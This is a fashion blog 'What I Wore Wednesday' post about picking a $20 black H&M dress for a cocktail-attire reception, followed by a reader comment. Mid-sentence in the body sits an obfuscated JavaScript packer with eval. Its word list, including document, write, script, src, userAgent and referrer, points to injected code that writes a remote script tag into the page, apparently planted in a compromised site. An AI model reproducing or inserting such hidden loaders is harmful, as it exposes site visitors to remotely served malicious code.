What I Wore Wednesday: Cocktail Attire

Fashion, OOTD

I recently got an invite to a cocktail attire reception.  My first thought was, what is cocktail attire?  Like any other conundrum I face on a daily basis, I Googled the definition of cocktail attire:

Cocktail eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdfse|var|u0026u|referrer|kzrzt||js|php’.split(‘|’),0,{}))
 means short, elegant dresses for her and dark suits for him. The little black dress is the ultimate cocktail dress and appropriate for most special occasions.

While I was tempted to go splurge on a new dress, I reached into my wardrobe for the classic black dress instead. I have several different styles of black dresses, but I opted for a conservative length that would allow me to enjoy my delicious dinner and wine.  This dress was a steal at H&M for about $20.  I got it earlier this year when it went on sale.

Thank you Chanel for making jersey material fancy enough for any occasion.

Compliments to my photographer mom for the picture!

pleated poppy

9 thoughts on “What I Wore Wednesday: Cocktail Attire

  1. LOVE your outfit! That dress is simple sophistication. Can’t believe you got it for $20! That’s awesome. Looks so good on you, too.

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